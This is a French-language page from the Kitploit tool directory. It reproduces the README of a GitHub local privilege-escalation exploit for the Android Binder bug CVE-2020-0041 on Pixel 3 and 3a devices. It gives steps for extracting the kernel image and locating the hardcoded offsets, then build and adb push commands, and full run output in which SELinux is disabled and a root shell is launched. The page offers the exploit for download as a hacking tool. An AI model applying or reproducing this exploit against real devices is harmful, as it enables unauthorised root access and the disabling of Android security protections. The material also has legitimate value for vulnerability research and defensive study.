Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-0041-Pixel-3a — Exploit d'escalade de privilèges locale pour le bug Android Binder CVE-2020-0041 (Pixel 3a) | Kitploit
Outils/GitHubGitHub/vaginessa/cve-2020-0041-pixel-3a
Sécurité AndroidEscalade de PrivilègesAnalyse des VulnérabilitésExploitationRétro-ingénierieExploitation de Binaires
GitHubvaginessa/cve-2020-0041-pixel-3a

CVE-2020-0041-Pixel-3a

Exploit d'escalade de privilèges locale pour le bug Android Binder CVE-2020-0041 (Pixel 3a)

Voir le dépôt
814il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-0041 : exploit d'élévation de privilèges

Ce dossier contient un exploit d'élévation de privilèges locale, une modification du PoC de bluefrostsecurity pour CVE-2020-0041. L'exploit a été fourni avec des offsets codés en dur pour un appareil Pixel 3 exécutant le firmware de février 2020 (QQ1A.200205.002). L'exploit a été adapté pour les appareils Pixel 3a.

L'exploit désactive SELinux puis lance un shell root.

Adapter l'exploit

  1. Pour adapter l'exploit à tout appareil Pixel 3, le firmware vulnérable spécifique (QQ1A.200205.002) doit être téléchargé depuis le site officiel developer android images.

  2. Ensuite, convertissez le boot.img en zImage. Pour ce faire, utilisez abootimg.

root@kitploit:~
./abootimg -x [path_to_boot_img]

Le zImage produit est une image qui contient le noyau Android compressé.

  1. Pour obtenir une image non compressée du noyau contenant les symboles et offsets corrects, utilisez l'outil vmlinux-to-elf.
root@kitploit:~
vmlinux-to-elf [path_to_zImage] [kernel.elf] 
  1. Utilisez un désassembleur de votre choix pour trouver les labels liés aux offsets de l'exploit trouvés dans exploit.c :
root@kitploit:~
SELINUX_ENFORCING_OFFSET 
MEMSTART_ADDR_OFFSET 
SYSCTL_TABLE_ROOT_OFFSET
PROC_DOUINTVEC_OFFSET
INIT_TASK_OFFSET
INIT_CRED_OFFSET
OFFSET_PIPE_FOP
  1. Ajustez exploit.c avec les offsets corrects.

  2. Profitez-en :)

Tester l'exploit

L'exploit peut être compilé en exécutant simplement « make » avec le NDK Android dans le chemin. Il peut également être poussé vers un téléphone connecté via adb en faisant « make all push » (les avertissements sont supprimés par souci de brièveté) :

root@kitploit:~
user@laptop:~/CVE-2020-0041/lpe$ make all push
Building Android
NDK_PROJECT_PATH=. ndk-build NDK_APPLICATION_MK=./Application.mk
make[1]: Entering directory `/home/user/CVE-2020-0041/lpe'
[arm64-v8a] Compile        : poc <= exploit.c
[arm64-v8a] Compile        : poc <= endpoint.c
[arm64-v8a] Compile        : poc <= pending_node.c
[arm64-v8a] Compile        : poc <= binder.c
[arm64-v8a] Compile        : poc <= log.c
[arm64-v8a] Compile        : poc <= helpers.c
[arm64-v8a] Compile        : poc <= binder_lookup.c
[arm64-v8a] Compile        : poc <= realloc.c
[arm64-v8a] Compile        : poc <= node.c
[arm64-v8a] Executable     : poc
[arm64-v8a] Install        : poc => libs/arm64-v8a/poc
make[1]: Leaving directory `/home/user/CVE-2020-0041/lpe'
adb push libs/arm64-v8a/poc /data/local/tmp/poc
libs/arm64-v8a/poc: 1 file pushed. 4.3 MB/s (39016 bytes in 0.009s)

Il suffit ensuite d'exécuter /data/local/tmp/poc depuis un shell adb pour voir l'exploit en action :

root@kitploit:~
blueline:/ $ /data/local/tmp/poc
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd9c67c7700
[*] file epitem at ffffffda545d7d00
[*] Reallocating content of 'write8_inode' with controlled data.[DONE]
[+] Overwriting 0xffffffd9c67c7720 with 0xffffffda545d7d50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff97df1af650
[+] kernel base: ffffff97dd280000
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff97dfe24000 with 0x0...[DONE]
[*] init_cred: ffffff97dfc300a0
[+] memstart_addr: 0xffffffe700000000
[+] First level entry: ceac5003 -> next table at ffffffd9ceac5000
[+] Second level entry: f173c003 -> next table at ffffffd9f173c000
[+] sysctl_table_root = ffffff97dfc5a3f8
[*] Reallocating content of 'write8_sysctl' with controlled data.[DONE]
[+] Overwriting 0xffffffda6da8d868 with 0xffffffda49ced000...[DONE]
[+] Injected sysctl node!
[*] Node write8_inode, pid 7058, kaddr ffffffda0723f900
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 6848, kaddr ffffffd9c9fa2400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7110, kaddr ffffffda67e7d180
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffd9c67c7720
[*] epitem.prev = ffffffd9c67c77d8
^[[*] Launching privileged shell
root_by_cve-2020-0041:/ # id   
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
root_by_cve-2020-0041:/ # getenforce
Permissive
root_by_cve-2020-0041:/ # 
Télécharger l’outil